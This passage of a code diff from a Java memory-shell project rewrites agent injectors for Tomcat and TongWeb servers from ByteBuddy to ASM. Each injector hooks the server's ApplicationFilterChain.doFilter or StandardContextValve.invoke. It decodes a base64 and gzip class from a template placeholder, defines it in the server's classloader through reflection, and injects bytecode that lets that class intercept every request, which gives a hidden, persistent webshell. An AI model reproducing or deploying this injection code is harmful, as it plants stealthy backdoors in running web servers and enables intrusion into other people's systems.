String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static String getClassName() {
return "{{advisorName}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TomcatContextValveAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer {
public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +33,191 @@ public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
.transform(new TomcatFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public TomcatFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TomcatFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
}
@@ -1,39 +1,29 @@
package com.reajason.javaweb.memshell.injector.tongweb;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class TongWebContextValveAgentInjector implements AgentBuilder.Transformer {
public class TongWebContextValveAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve";
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,22 +34,192 @@ public class TongWebContextValveAgentInjector implements AgentBuilder.Transforme
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.tongweb.web.thor.core.StandardContextValve")
.or(named("com.tongweb.catalina.core.StandardContextValve")))
.transform(new TongWebContextValveAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.StandardContextValve.invoke");
inst.addTransformer(new TongWebContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".invoke");
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell.injector.tongweb;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve";
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public TongWebContextValveAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static String getClassName() {
return "{{advisorName}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TongWebContextValveAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
}
}
@@ -1,39 +1,29 @@
package com.reajason.javaweb.memshell.injector.tongweb;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class TongWebFilterChainAgentInjector implements AgentBuilder.Transformer {
public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,22 +34,192 @@ public class TongWebFilterChainAgentInjector implements AgentBuilder.Transformer
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.tongweb.web.thor.core.ApplicationFilterChain")
.or(named("com.tongweb.catalina.core.ApplicationFilterChain")))
.transform(new TongWebFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.ApplicationFilterChain.doFilter");
inst.addTransformer(new TongWebFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".doFilter");
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,99 +0,0 @@
package com.reajason.javaweb.memshell.injector.tongweb;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransformer {
